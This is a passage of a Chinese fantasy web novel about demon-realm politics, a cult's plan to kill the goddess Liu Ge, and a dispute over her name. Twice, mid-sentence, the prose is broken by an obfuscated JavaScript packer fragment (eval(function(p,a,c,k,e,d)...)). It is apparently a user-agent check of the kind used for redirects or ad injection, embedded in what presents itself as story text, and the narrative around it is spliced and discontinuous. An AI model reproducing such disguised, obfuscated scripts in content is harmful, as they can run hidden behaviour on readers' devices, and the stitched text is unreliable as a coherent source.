惊轶是聪明人,见郁柏对疫病无甚兴趣,话头一转说道了另一件事上,“许是因为第五洲魔气外泄,污染了周遭灵气循环的缘故,和第五洲毗邻的七八两洲最近都出现了魔渊裂隙。” 魔渊裂隙出现的地点不定,时间不定,大小也不定。 就像妖族分为灵化妖族和血裔妖族,魔族也有类似的基本区分法——生魔和堕魔。 生魔,顾名思义,出生就在魔界的魔族,父母双方都是魔族,他们诞生呼吸吐纳的第一口气就是魔气,因此往往比后天成魔的堕魔更适应魔界的一切。 魔气阴毒,入体即伤身,大部分魔族,尤其是堕魔,其实是罕有生育的能力的,因此虽然生魔强悍,却始终不是魔族的主要组成部分,大概只占到了三成。 其余七成便都是堕魔。 堕魔的意思也极好理解,因为种种原因走上邪路,或者道心破碎走火入魔的人,妖,都有可能成为堕入魔道,成为堕魔。 在妖族分裂出来之前,人族被称为四界基石也是因为此——仙是飞升的人,魔是堕落的人,其余能修炼的,都是“异人”。 但堕魔也并非想堕就能成功的。 人界俗世界曾流行过一类话本子,话本子里的主角被逼到山穷水尽时只要大喊一句口号,便能直接堕魔黑化,力量翻倍后杀光所有仇家成为一代魔将,从此逍遥自在,再不受拘束,只管随心所欲,为所欲为。 这类话本子传入修仙界后,众修士粗略一番便知晓,又是世俗界的凡人揣测修仙界光景的臆想作。 修仙者以灵气入门,靠淬炼灵气,掌控灵气提升修为,若当真有朝一日道心破碎,走火入魔被逼入魔道,一身被淬炼的至纯至净的灵气霎时转换为至阴至浊的魔气——有几人的经脉能承受这般天翻地覆的变动? 而经脉不碎只是第一步。 第一步就已经淘汰了一半想堕魔的人。 当周身灵气全部转换为魔气后,原本储存操控灵气的丹田会遭到魔气最恐怖的反扑,灵气越强魔气就越强,魔气越强反扑就越强——毕竟魔气也需要这样一个储存和操控魔气的地方。 这个核心就是魔核。 想堕魔求一条生路的人,需要在魔气侵入识海,摧毁你的灵魂和神智之前基本掌握魔气,保护自己的神魂不散——这个时间最多只有一个时辰。 若做不到短时间内凝结魔核就无法操控魔气,那时便只能眼睁睁看着魔气入侵识海而束手无策,看着魔气粉碎识海屏障,看着自己连成为魔族的资格也失去,成为五界中最低等的魔兽,人人喊打。 世间能有几人既有强悍的意志力,撑过经脉尽断之痛,有有绝佳的悟性和天赋,能在这么短的时间里掌握魔气,再通过魔气凝出魔核呢? 所以九成想堕魔的人,最后都只能沦为神智全无的魔兽,从此只靠本能活着,被困于魔界最底层的第一重天,终日漫无目的的游荡,只知杀戮和吞噬。 而魔界第一重天——别名“魔渊”的魔界最底层,魔气,瘴气,阴气,还有魔兽带下来的怨气,不一而足,驳杂而混乱的混在一起,使整个魔渊成为一个巨大的不稳定的空间,随时有可能会撕裂一条口子,充盈其中的魔兽便会顺着这些裂隙冲入其余位面,满足自己的用无底线的杀欲和食欲。 这便是让其余几界头疼至今,却一直没找到预防和解决的办法的,魔渊裂隙。 幸好魔渊裂隙极其不稳定,有记载的维持最久的魔渊裂隙,是出现在人界古战场的一道裂隙,维持了三天才消散,那一战人族付出了很大的代价,甚至惊动了人皇。 ——少有人知的是,问情尊上第一次下山,第一次出手,就是在那一战上。 惊轶赌的很对,郁柏果然对这种有架可打的内容极感兴趣,难得的多问了一句:“裂隙存在了多久?青丘派谁去处理了?伤亡几何?” 这句话听的赤狐长老眼前一黑,他是喜欢权势,野心勃勃的要一人之下万人之上,要赤狐惊氏成为妖界第一大族,但也不代表他愿意跟着这样一位奇葩的神主。 幸好刚刚已经决定支持神女了……惊轶在心底默默吐槽。 他有野心,自然也欣赏野心勃勃的人。 春在野取神女的血做研究他又没有,他只是在一些细节上行了个方便,和神女之间虽有龃龉却也没到春在野那样回不了头,不死不休的地步。 惊轶会选择支持神子,本就是因为神子看起来更好掌控,更有机会成为完整的妖皇,他留在神子身边 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门轴“吱呀——”发出一声尖细的低吟,冷风卷着碎雪冒冒失失的闯入,很快又被人关到了门外。 是春在野到了。 郁柏想了想也没有要补充的了,“就这样吧,我们尽快解决魔气后再解决泣寒瘴的事情,既然人已经到齐了,那就向晚枫出发吧。” 路过春在野时,惊轶脚步一顿,鼓励似的拍了拍春在野的肩膀,压低声音道:“我知道你醉心研究,但今天来的也太迟了,你为妖界投身研究的心是好的,我知道,但也不能让妖皇尊上这样等你,你说对不对?” 春在野紧绷的神情悄然放松,肌肉紧绷的双肩微微塌下,赶忙道歉道:“今早辛苦惊长老了,学宫最新的研究成果正好有涉及妖皇九尾真身的部分,我想一些研究成果或许也能用在狐族身上,这才多看了一些……” “哪里的话,给妖皇办事,向妖皇述职本就是神庭长老的职责,”惊轶蹙着眉用力摆手,一副正义凛然的模样,“我并没有指责你的意思,春长老这是何必呢?反倒伤了赤狐和学宫的和气。” “大人万万不可推辞,”春在野再次饱含歉意的连连致歉,“若没有您的举荐就没有春在野的今天,研究成功也不是什么大突破,还不知道对赤狐族有没有帮助呢……” 两人就这么互相客气着跟上了郁柏远去的脚步。 在春在野视线不能触及的角落,惊轶悄悄碾了碾手指——只见一点灰白色的石屑正沾在他的指尖——这正是刚刚惊轶在春在野身上发现的异样。 “他身上有未散去的一股暖意,还有一点融化的蜡油味道……”惊轶将指腹凑近鼻尖轻轻闻了闻,狐族到底是犬科,嗅觉灵敏异常,在这些石屑里,他闻到了微弱的香火味。 烛火,蜡油,石屑还有烧香带来的香火…… “圣坛?”惊轶有些茫然,在心里直犯嘀咕:“烧这种味道的香火的地方,就只有供奉了问情尊上的圣坛啊?” “学宫确实是在跨洲传送上有突破,但春在野为何要回青丘圣坛?回就回吧,为何要这样无声无息的瞒着所有人往返?他想做什么?” 43. 时也运也 “啪——!” 祭坛上围坐着二十几个人,其中一人忽然厉声尖叫一声,头脸朝下倒地剧烈抽搐了起来! 下一刻,倒地者犹如充气气球般身躯骤然开始膨胀,不过瞬息,在周围人或无波无澜或厌恶嫌弃的目光里,“嘭”的一声炸成了一团四溅的碎肉,血雾。 “啊啊啊啊!”第一次进入拜圣教内阁的鼬族青年大叫一声险些晕死过去,瘫倒在地时双腿还在混乱踢蹬着,躲避缓缓漫溢开,即将蜿蜒到他脚下的鲜血。 “我不进内阁了!我不进内阁了!”鼬族惊恐的大叫着,翻身就要夺门而出,原本妥帖置于浅紫色软垫上,被他视为力量和地位的象征的玉匣,现在也成了烫手山芋,被尖叫着抛出,扔开。 卷云抬手隔空扣住鼬族的咽喉将他拖在地上拽了回来,犹如捕猎成功的猛禽将猎物尸体扣在利爪之下一样,但却没有第一时间杀了他,只是冷冷的俯视了一眼涕泗横流,被掐住命门动弹不得的鼬族。 “谁带他进来的?”卷云漆黑长发高高竖起,一身利落的轻甲,腰悬长剑,一副随时准备动身的姿态。 他棕黑的眼冷厉的扫过内阁众人,又问了一遍:“想进入拜圣教内阁,起码要有三位内阁成员的举荐——是谁,将这种货色放进来,玷污我们对问情尊上的虔诚信仰的?” 内阁成员大多认识着个青年,众人俱沉默,有人低头不语,更多的人目光微移,缓缓看向了内阁仅剩的十六人中的一员。 鼬族,冰凌鼬属的釉面站了出来,余光扫过卷云手里的釉陶一眼,只是恭敬的像卷云行礼告罪。 “大人,他是在下家族幼弟釉陶,也是由在下举荐担保进入拜圣教的。”她的声音就像她的血系,宛如一朵朵开在冰面的冰凌花,冷冽清寒。 据说冰凌鼬正是因为居所附近常有冰凌花久开不败而得名。 卷云自己也有个不省心的弟弟要照顾,闻言不由自主的看了缩在角落,神经病一样发抖,抽搐,蜷着身子不知道在呢喃些什么的舒云,目光略有松动。 釉面保持告罪行礼的姿势继续道:“我们冰凌鼬属只是鼬族里极小的一个分支,子嗣单薄,当年若不是问情尊上捣毁了人族据点‘春去也’,冰凌鼬族可能就要血脉断绝在人族手里了。” “族中长辈从小就教育我等要一辈子效忠问情尊上,就算只有绵薄之力,也要尽全力回报妖皇的无上圣恩——长辈谆谆教诲釉面自小铭记在心,釉陶亦是如此。” 冰凌鼬族确实对拜圣教帮助良多,卷云心底的气已经消了大半,若不是冰凌鼬族的族长帮忙,拜圣教也找不到这般隐蔽的据点。 而且……春在野大人也是被问情从春去也这个地方救出来的。 春去也,取自“落花流水春去也,天上人间。” 人族总是这样,越是肮脏的地方,名字反而起的越是高洁。 春去也在当时的妖族口中,可是能和斗兽场,繁育笼舍并称为妖族三大炼狱的妖族噩梦。 繁育笼舍背后,是需要源源不断契约妖宠的世家大族一直在提供助力,斗兽场背后则是无数喜好刺激的修士,还有和斗兽场有合作关系的各大赌坊。 春去也就像它的名字,是三大炼狱里最神秘的,有人说春去也背后是某一代喜好妖宠的人族君主在保驾护航,也有人说春去也就是一堆变态,疯子,为了满足自己不能在人族身上宣泄的欲望而建立的。 繁育笼舍负责生,春去也负责磨去妖族一身血性,让这些从小被驯服的妖成为人族最合心意的妖宠,乖乖接受主仆契约,替自己的主人出生入死。 而那些反抗意识太重,不适合成为妖奴的妖族,直接杀了的话对各方势力都是一笔不小的损失,便会由春去也评估后卖到斗兽场去,从此生死都是斗兽场做主了。 “我这个幼弟素来胆小,但对问情尊上的尊崇之心绝不逊色于我,他并不知晓那人自爆是因为他对妖皇貌恭而不心服,自爆是妖皇降下的神怒,因此被吓破了胆,扰了内阁清净——”釉面冲釉陶使了个眼色。 釉陶和他姐打配合已经多年,对于他姐的意思懂得不能再懂了,立刻顺势作难以置信状惊诧道:“原来他是因为承受不起妖皇降福才爆体而亡的,居然让这样心不诚的人混进了内阁浪费资源,还请尊上恕罪!” “……春去也那个地方是出了名的手段阴毒,你们受苦了。” “看在你们幼时辛苦又尊崇问情大人的份上,我饶过你这次。” 卷云表情松动了不少,缓缓松开了对釉陶的钳制,示意釉面将他带走,同时微微侧身,检查其他侍从手里的玉匣是否完好。 众人跟着卷云的动作屏息——玉匣锁扣发出一点轻微的“咔哒”声,被卷云小心的打开——金光乍现! 釉面趁自己离得近,趁机瞥了一眼,“果然是神血,还有神血丹。” 她飞快的垂下眼没让卷云发现自己的窥伺,将跪在地上的釉陶提起来就往外走,同时在心底默默盘算出一个结果。 “这些神血丹远超出了内阁成员可以消化的量,春在野大人难道准备将神血丹往外围分发?” “轻,轻点,姐姐!我的亲姐!”眼看已经离拜圣教据点足够远了,釉陶赶紧摸了摸脖颈,心有余悸道:“老姐,我这次可是冒着生命危险进去救你的!你也不对我温柔点!” 釉面置若罔闻,精神力全开,仔细扫过方圆十里,确定没有人追出来后,找了块背风的地把釉陶一扔。 “够机灵,干得漂亮。”她难得的面露赞赏,用力呼噜了两把釉陶毛茸茸的脑袋:“长大了,不容易啊。” “姐姐,内阁是什么情况?那个人为何会自爆?”姐弟俩稍微缓了缓,立刻开始确定之后的行动方向。 釉面掏出袖中藏着的神血丹,被稀释后装在玉瓶里的神血,还有她自制的之名据点所在地的地图。 “姐姐画地图的水平快赶上父亲和母亲了。”釉陶羡慕道:“我什么时候才能到这个水平啊……” 釉面抬手敲了一下他的脑门,“急什么,等此些事结束了,我有的是机会慢慢教你。” “昨晚卷云长老忽然把拜圣教内阁二十九人全部召集起来,宣布要在神女大人彻底成长起来之前杀了她,为问情尊上的回归扫清障碍——” “然后春在野大人来了,他跟疯了一样,告诉我们明早他就能详细准确的定位神女,然后要我们明晚动手……他已经疯了,不对,整个拜圣教都疯了。” “他要我们全力吸收,吞服神血丹,强行突破提升实力,目前,内阁里有十人的修为已臻化身境,四人已到合体境,浮荣副长老和春在野大人甚至已经到了渡劫期,只差半步即可飞升成仙!” 釉陶瞳孔骤缩! “若是用这个阵容……说不定,说不定……”说不定真的能杀了神女。 后面半句话被釉面重重按回了唇喉间。 “慎言!”长姐凌厉的目光狠狠剜他一眼,又无奈的叹息一声,缓缓松开了手:“呵……这一夜,内阁几乎死了一半人,原本二十九人,现在只剩下十六人了。” 釉面想到了刚刚自爆的那个人,心有戚戚:“幸好你聪明,你若是再来迟一个时辰,我就要服用第三颗神血丹了。” “我对自己的血脉潜力心里有数,若真是服下了第三颗神血丹,你姐姐我估计是活不下去了。” 釉陶吓得一把攥住长姐的手,冷汗唰的浸湿后背,“那我们现在……不能回去,绝对不能回去,回去他们肯定要逼你继续服药,强行燃烧血脉提升修为!” “对,我们——还有整个冰凌鼬族的生路都在我们的选择间了。”釉面一开口就呼出一口白雾,但眼下鼬族姐弟谁也来不及注意这些细枝末节了,生死存亡已经近在眉睫—— “釉陶,我想去找神女。” “可春在野曾经一直在取神女的血……”釉陶犹豫至极,不想让姐姐去冒这个险:“神女肯定恨极了春在野,若我们到她的面前,告诉他春在野一直在准备复活问情尊上……若神女迁怒你我怎么办?” “所以,我们不能一起去,我们兵分两路。” 釉面咬牙,还是狠下心,将她偷藏的神血丹一股脑塞到弟弟怀里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人背后,惊轶稍稍落后三四步,趁此机会立刻回头,将那些从春在野身上弄下来的石屑用灵气包裹后塞进了惊止的怀里,“立刻去查,找石妖或者土系,泥下虫族之类的——要快!越快越好!” 他说完再不耽搁,立刻御剑而起追随郁柏向晚枫,阵眼所在而去。 在郁柏御剑而起后,又有数到身影跟着他升至半空,惊轶打眼扫过,发现有虫母伊锦和高山灰兔族屠五月,还有赶来支援净化魔气行动的令群山。 这位第六洲领主在人界就是雪域群妖心目中的圣女,她的能力,心性和手腕让问情也大为赞叹。 问情本想让她到青丘来,但她却说:雪域比青丘更需要她。 众领主只是对郁柏一行礼,随即不约而同的望向晚枫的对角线,豆绿峰的方向。 惊轶和春在野同时屏住呼吸,在心底默念了一声:“来了!” 周身流着火的赤红巨鸟和巨大的黑狼以拱卫的姿态保护着一银发少女。 那少女迎着天光冲众人微微一笑,那一双墨渊寒潭似的眼里漾开凉薄的笑意,宛如两块墨色深浓的紫玉。 “诸位……好久不见啊。”她轻笑一声,目光却只凝在郁柏一人身上。 惊轶有些紧张的注意着郁柏尊上的动作,出乎他意料的,郁柏的目光居然久久落在一旁当背景板的凤凰仙君身上? “好久不见,姐姐。”好半响,郁柏终于收回了目光,意味不明的学着琉歌的样子打了个招呼。 春在野背在身后,掩在袖子里的手紧张的发颤,“问情……问情尊上,”他在心底默念道:“请保佑我成功,请让我成为,为您扫清障碍的最后一把火!” 说时迟那时快,春在野手腕一翻装满玉瓶的无色透明的粉末洋洋洒洒倾泻而下,顺着他早就计算过的风向,虽然有一部分坠入封印,但更多的粉末如他所料,飘飘摇摇的向琉歌而去! “春在野……” 春在野瞳孔骤然地震,他恍惚自己太久没有休息,已经精神失常了,不然怎么会听到了一个熟悉的声音呢? 那声音忽然带着玩味的发出了一点短促的笑音:“春在野……不对,哈哈,是春去也——” “春去也……”那熟悉的声音模糊的笑着:“你忘记自己的姓名和来处了吗?” 魔尊! 春在野登时瞪大了双眼,强烈的恨意迸出眼眶,“魔尊黎狩!你怎么会在这里?!” 44. 日月同辉 头顶是灰蒙蒙的天,脚下是深渊般浓得化不开的黑红魔气,远处白雪皑皑的连绵雪山反倒是成了天地间唯一的亮色。 纯白的亮色间,是正远远对峙着的两道身影。 日月争辉,萤火静默。 神庭长老,第五洲和第六洲的众领主心有灵犀般纷纷安静退远,将天地留给了久别重逢的姐弟俩。 “你果然来了——姐姐近来可好?”郁柏率先开口,带着一点亲昵的埋怨:“我还以为姐姐准备在第四洲呆更长时间呢。” “第五洲的魔气不能再拖了,况且第四洲水患不是什么大问题,难为你了,为了把第四洲让给我,还在帝宫称病不出。”琉歌没什么扭捏,大大方方的承接了郁柏的好意。 这位向来神情恹恹的神子难得的露出了一点笑意,“没什么让不让的,你我一体,我早就我说过了,妖族,妖皇,神庭……在这一切之前,是同胎同源的我们——只有我们。” 他说着,提身向琉歌靠近了两步,弥随音警惕心陡然升起,眨眼间便化为人形,将琉歌护在身后。 “……姐姐,我们讲话,不让这个家伙滚远点吗?” 郁柏脸上难得的一点笑脸顿时消失的无影无踪,他的眼睛太像琉歌……不对,两人就是有一双一模一样的眼。凤凰注视着沉着脸语气森森的郁柏,一瞬间竟然有些幻视上一世那个暴君琉歌。 “就是因为他吧,拖慢了你我那么多的进度,为何还要留他在你身边?” “郁柏,这是我的师尊。”琉歌眉头一蹙,回护弥随音:“第四洲水患和泣寒瘴能这般轻松的解决,弥随音功不可没。” “我做不到吗?”郁柏忍无可忍,骤然逼近琉歌,“他能做到的,难道你我做不到吗?就这么急着把功劳归到他的头上?你到底在想什么,为何要瞒着我?!” 琉歌这才有点明白郁柏为何一直盯着弥随音刁难了。 “我并未瞒着你任何事。”琉歌缓和了语气,弧度圆润的眼微微一弯,笑容浅浅:“你我一体,这不是你一直说的么?” 她攥着弥随音的手腕将他往身后一推,眼神示意藏权云带师尊暂时离远点。弥随音有些犹豫的目光落在郁柏身上,神子冷嗤一声,抬手将腰间佩剑收回了储物袋中。 收剑入鞘,这是很明显的休战信号了。 弥随音于是不再多言,顺着琉歌意思退到了惊轶等人身边,和众长老,领主呆在一起。 “第四洲分别后,我一直在想的那些问题,仍没有一个结果……” 郁柏的声音藏权云逐渐听不见了,她于是收敛了心神,和伊锦,屠五月等人略略一行礼,算作打了招呼。 这位最年轻的领主在一众前辈面前也没露怯,打过招呼后就安静的呆在一旁,同时在心底思忖着,“奇怪……神子和神女之间,竟然并不像风领主预估的那样剑拔弩张?还是说,两位只是在我们面前维持表面和平?” “不知道风领主那边怎么样了……”藏权云默默在心底叹了口气,“这些神庭政庭的问题,还是得找他参谋参谋啊。” “没想到第五洲领主还有齐聚的一天,真是让人意外呢。” 虫母伊锦忽然打破了沉默,皮笑肉不笑的望着惊轶开口,“我真没想到,你居然还有脸来第五洲?果然啊……脸皮若是不够厚,怎么能在青丘被叫做‘小妖皇’呢?” 屠五月闻言只是顺势瞥了一眼惊轶,冷笑一声,甚至不愿意跟他多废什么口舌。 晚枫,第五洲的核心,洲府,是受魔气侵蚀最严重的地区,也是赤狐族曾经的大本营。 历来驻守晚枫的赤狐族本应是镇压魔气的主力军,且不说赤狐族本就是在人界都能保全自己传承不断,子嗣绵延的妖修大族,就光说惊轶——亦清之后的妖皇第一神使,实力强大,位极人臣。 他本应积极调度各方配合赤狐族死守晚枫,因为晚枫是豆绿高原和西部丘陵之间的最后一道屏障,若让魔气越过了晚枫……那就是黄河之水天上来一样的惨案。整个第五洲西边都将难以幸免于难。 谁知,惊轶来第五洲走了一趟,看过魔尊魔气后,竟然直接将定居晚枫的赤狐族全部带回了青丘,他身为第五洲三位领主之一,神庭三长老之一,竟是选择直接放弃了晚枫,最大限度的保全自己的家族! 虫族因其独特的生存和生活方式向来独立于水陆翼三族之外。 现任虫母伊锦更是仗着合体期的强悍的实力,从不将神庭放在眼里,甚至不久前曾放言:失去了问情尊上的赤琉璃近卫军,未必有直属虫母的母巢铁甲卫更强。 神庭虽然恼怒却无可辩驳。 虫母对于虫族的掌控,在某些方面像极了妖皇对妖族的掌控——虫族以虫母为绝对的核心,虫母之下又分为十二虫巢,每个虫巢都有一虫巢女王,而只有虫母的直系血脉,才可以成为虫巢女王。 虫巢女王不可违抗虫母的命令,而通过血系连结,虫母甚至可以像妖皇一样操控虫族的思维。 真的和第五洲闹掰了,伊锦是真能做到操控所有虫族直接占领第五洲,和神庭分庭抗礼的。 可……还是这位叛逆不羁的第五洲领主,却也是她在惊轶逃避领主职责,将赤狐族全体撤出第五洲时毫不犹豫的顶上,和屠五月,令群山一起构建了基本的防御阵法,硬生生将魔气逼回晚枫内,虫族也因此损失惨重。 惊轶自知理亏,不欲多言,默默忍下了嘲讽,只是注视着不远处简单交流的两位半神。 天边,两人差不多交流完了,这次会面远比几位领主想的更平和,屠五月撇撇嘴,冲令群山嘀咕道:“什么嘛,我还以为能痛快的打一架呢。” “慎言。”雪域圣女无奈,“等真正开始清理魔气的时候,灵气动荡和魔气相撞,肯定会撞出很多道魔渊裂隙……那时,有的是你我出手的机会。” “两位大人没有动手,可能也是有保存实力的原因。” “……就这样吧,防护阵法一共三处需要修补,两处急需重画的地方,明早还在这里见面,做好净化魔气的准备吧。”琉歌将地图一收,塞进郁柏怀里。 “你不拿一份地图吗?”郁柏有些疑惑,琉歌笑眯眯的将刘海撩上去,露出眉心清晰明亮的妖皇神纹,语气得意:“都在我脑子里了,地图你拿着吧。” “恭喜。”郁柏一愣,倏然笑了,“看来很快就能回归正轨了啊。” 琉歌一时也不知道,他口中的和自己理解的是不是一个正轨,正欲追问,郁柏却模仿着她,露出了一点得意的笑:“姐姐,我也是圣坛诞生的孩子——我们一样蒙昧,也一样聪慧。” “虽然尚且模糊……但我已经有了自己的方向。” 琉歌诧异,眨眨眼,一时之间竟有些陌生的茫然。 她对郁柏的记忆始终停留在上一世,那个被长老推上圣坛,因为一句“我有方向,我能承担”就愿意乖乖被她吞噬灵与血的孩子。 她看郁柏,就像在看一团本就属于自己的能量。 现在,这团能量有了自己的想法,竟然一下子在她眼底脱离了前世的影子,变成了单薄,却初具人形的一团“人”。 “我们之间,当真只有吞噬和杀戮一条路吗?”琉歌不由得在心底沉思,这次回溯时间,她可以冲破神庭的桎梏跑到第四洲缓缓发育,那郁柏是否有这样的机会呢? 她是否要给他这个机会? “罢了……恭喜你。”这个想法就像一粒种子种在了琉歌心底,她一时半会没有什么头绪,便只好暂且放下,忽然想起了另一件事…… “对了,记得给惊轶来找我的时间。”她一挑眉,和郁柏相对一笑,神子含笑颔首,“不会耽误了的,他确实已经蹦跶太久了。” 弥随音一直注意着那边的动静,见琉歌一招手,立刻一闪身回到了她的身畔。 “师尊……”琉歌轻轻拽着他的袖子将他拉近自己,压低声音嘱咐道:“明早才清理魔气,现在我需要你去帮我办件事——” “不必跟着我了,明早这个时候开始清理魔气,虽然有我和琉歌坐镇,但魔尊魔气的威力不容小觑,都散了,尽可能多的去准备防护法器吧。”郁柏目送琉歌离开后也回到了惊轶等人周围。 他简短的吩咐完,挥挥手就转身离开了。 屠五月几人冲惊轶冷笑一声,拉过藏权云,“权云跟我们走吧,别跟神庭的那些东西搅和在一起。”说罢,几人带着藏权云消失在原地。 惊轶和春在野对视一眼,惊轶耸耸肩,“我们也走吧?” 春在野略一行礼,告退了。 豆绿峰作为豆绿高原的最高峰,它半山腰除了一些鼠族,苔族,基本没有生命能在这里久居。 当琉歌听到身后传来积雪被踏过,积压发出的轻微“嘎吱”声时,她表情有些讽刺的扯了扯嘴角。 “惊轶拜见琉歌尊上。” “你果然来了……惊轶。”琉歌眉眼弯弯的俯视着跪地不起的惊轶,眼底却没有丝毫笑意可言,像一尊慈眉善目的神像,只是这尊神像不合时宜的出现在了地狱里。 “你来找我,是为何?”银发妖皇的一头银白直发比脚下连绵的雪山更洁白耀眼,更衬得此时没有笑意的一双眼像深渊寒潭。 “惊轶来请罪。”赤狐长老将头深深埋进积雪里,彻骨的寒意顺着额头往脑子里钻,“臣有罪,当时看出了春在野对大人有不臣不敬之心却没有深查,竟使那春在野和学宫野心失控,做出了伤害尊上的举动!” “臣罪该万死!”他倒是表现的诚恳,若琉歌还有时间,应该会乐于跟他再兜两个圈子,好好的欣赏一下赤狐长老的惊恐。 只是时间真的来不及了。 从她得到的消息来看,仙魔早已不止蠢蠢欲动,若再和妖界的这一群蠢货耗下去,估计就要重蹈上辈子的覆辙,被仙魔抢占先机了。 妖界看不清形势的蠢货要处理,但琉歌始终没有忘记屏障外,更大更强的敌人。 琉歌背对着惊轶,垂首敛眸,指尖轻轻捻起垂在心口的一缕长发,“别再说那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新神正位培养自己的势力本就天经地义,他们早些时候若是乖乖配合琉歌,说不定还有一条生路,但……惊轶绝望的闭上眼,在神庭权力真空的这三年,他们都干了什么啊…… “臣自知罪大恶极,就算如此,臣还有话说!”惊轶狠狠将一把积雪攥进掌心,知晓自己再不说点什么就全完了,干脆豁出去了,重新扑通一声重重跪在雪地里! “覆巢之下无完卵,臣斗胆揣测,尊上的敌人不在妖界内,而在妖界外!” 这倒是有点意思了,琉歌终于愿意赏他一个眼神,只是赤狐长老头埋的极低,没有看到。 “世家大族手里有灵脉,有知识,有秘籍还有千万年积累下来的财富,问情尊上虽然逼他们吐出来了一波,可我知晓他们手里还攥着更多好东西!” “就拿……丹方,对,就拿丹方举例。” 惊轶深吸一口气,鼻尖满是高山积雪冷冽的寒气,“泣寒瘴寒冷时休眠,气温一高就会爆发,而位于妖界北部的第九洲,第五洲,第六洲,第二洲和第八洲就要开春了,您需要在这短短三个月的时间里准备足够五个洲消耗的丹药——这个工作量,只靠青丘政庭是不可能完成的。” “惊轶长老的意思是……你能拿得出来?” 惊轶再不敢含糊,“是的,罪臣虽不知详细的病因,却也能猜出,蓝色的脓血还有灵气紊乱的症状……泣寒瘴必然和魔族有联系,昨晚臣又得到消息,龙尊那里出事了,动手的极有可能是魔族!” “惊轶斗胆揣测,尊上的精力接下来会像屏障外倾斜,您留我一命,罪臣可以让那些世家大族从您的绊脚石,变成您开疆拓土护卫百姓的强大助力!” “就算君王不信任罪臣,还请尊上等开春再处置罪臣——我知晓哪些世家大族内部在培养自己的炼药师,请尊上给罪臣一个将功赎罪的机会,臣能帮您完美的解决泣寒瘴!” 琉歌短促的轻笑出声:“哎呀,知道的这么详细,第四洲原来也有你的眼线……这倒是我疏忽了。” 这话惊轶不敢接,他拼着一口求生欲把半辈子的胆子都挥霍在今天了,现在忐忑的趴伏在原地,等着妖皇降下判决。 “戴罪立功的机会好说,我确实不欲在神庭和政庭间纠缠——拿着这份丹方,去青丘找风弄堂,他会告诉你要做什么的。” 琉歌莞尔,在惊轶面前优雅的蹲下,层叠此地的裙摆随着她的动作缓缓盖住了惊轶身前的一片雪地。 “想当我的人,说难不难,说易也不易……” 惊轶一抖,察觉一只冰冷的手落于他的后颈,明明是安抚一样轻柔的触碰,惊轶却觉得重逾千斤,空气陡然稀薄,妖皇威压几乎要溺毙在雪地里了。 “等我踏上青丘帝宫的那一刻,我要看到让我满意的景象,惊轶,你这么聪明,一定能懂我的意思吧?” “罪臣惊轶,谨遵妖皇尊上神谕。” 45. 莫问姓名 “帝师,凤凰帝师——请留步!” 弥随音反应了一会儿才意识到这句帝师是在叫他。 “请别见怪,我听妖皇尊上叫您师尊,那您就是妖界帝师,希望没有冒犯到您。”惊轶脚步匆匆追上弥随音,双手交叠恭敬的行了个大礼。 “……惊长老找我,有何事?”弥随音扫过他手里的药方卷轴,对于他的身份和任务心里大概有了数。 既然琉歌想等日后再算融合仪式的仗,弥随音便也没有打搅她的安排。 惊轶现在听到“有何事”几个字就打寒颤,强撑着一点笑意,赔笑道:“这……说大不大说小不小的事,真是来惭愧,我尚不知晓神女大人的名讳究竟是哪两个字?” “轩辕为姓是毋庸置疑的,只是这名究竟是哪两个字?我记得,是发‘琉歌’的音,对吗?是从妖族通用语翻译过去的,还是您给她直接起了个人族名字?若是遵循的妖族传统,又是从那句话简化来的?” “具体是哪两个字呢?” “田字底的留,卯金刀的劉,还是泱泱河流的那个流?”惊轶和弥随音都有任务在身不好耽搁太久,他只好语速飞快的把心中疑问一口气问完—— 结果反倒是弥随音愣住了。 “?” “什么?”凤凰帝师微微一歪头,表情错愕,“琉歌的名字不是神庭取的吗?” “?” “啊?”惊轶比他更错愕,他将脑内这段时间的记忆反复过了几遍,最终确定神庭就是没有给神女取过名字。 “帝师大人莫要说笑了,神庭在融合仪式之后就和神女大人彻底断联了,哪里还有机会给她取名字呢?” 见弥随音表情还是怀疑,惊轶也茫然了,只好解释道:“妖族幼崽难得,又因为幼崽期太过漫长,夭折率居高不下……您知道的,起了名字就难免倾注感情,所以妖族历来传统是在幼崽十岁前后——一般是他们第一次成功化为人形的时候,才确定正式的大名。” “真要算神女的寿数的话,她其实深秋时节,刚入冬那会儿才刚刚诞生,距今不过三个月大……这远远未到需要大名的年岁。但神族毕竟特殊,我们确实是准备在圣坛融合仪式之后给她拟定尊名和名号的……只是,后来的事情您都知晓了。” 神女和弥随音重创春在野突破重围,直接跑到第四洲解决水患和怨气去了。 “所以,琉歌不是你们起的名字?那郁柏是怎么回事,他不也没到十岁么?”弥随音忽然打了个哆嗦,一些稀碎的线索和破绽忽然掠过他的脑海,他怔然,随即不知出于什么心理,下意识忽视了那些流星般稍纵即逝的灵感。 惊轶被他的问法弄得摸不着头脑,毕竟自己有求于人,只好捏着鼻子乖乖有问必答:“郁柏尊上是因为到第四洲见过琉歌尊上后,回来跟我们说他想要名字,我们才连夜给他拟定了大名,其余的也还没有确定呢。” “帝师大人莫要再玩笑了,”惊轶指指手里的写着丹方的卷轴,讨饶道:“这次确实是神庭失职,实在丢人,不然在下也不是这样偷偷来问您了,还请您别再为难在下了。” “……琉璃的琉,歌功颂德的歌。”弥随音松了口,“我记得她名号的妖语原文是——以铁与血重铸秩序的引路星。” 一串流畅的妖语从弥随音嘴里流出,就像那品质顶顶好的玉石相碰一样,带着翼族的清亮又不飘忽,带着一股让人心里安定的稳意。 “‘琉’么……”惊轶得到了答案,心里却愈发惶惑不安了:“琉璃易碎,彩云易散。琉在妖界只能算中性词,象征着美丽,脆弱,流星般灿烂又短暂。这个字在妖界,多和缅怀留恋之意相连用……” “在下斗胆多嘴问一句,这个名字是谁起的,妖皇尊上当真同意了吗?” “……” 弥随音这下也迟疑了,他上辈子见到琉歌时她就叫这个了啊,今生……弥随音想起今生涅槃重生后和琉歌相处,她接受琉歌这个名字就像吃饭喝水一样自然而然,天经地义。 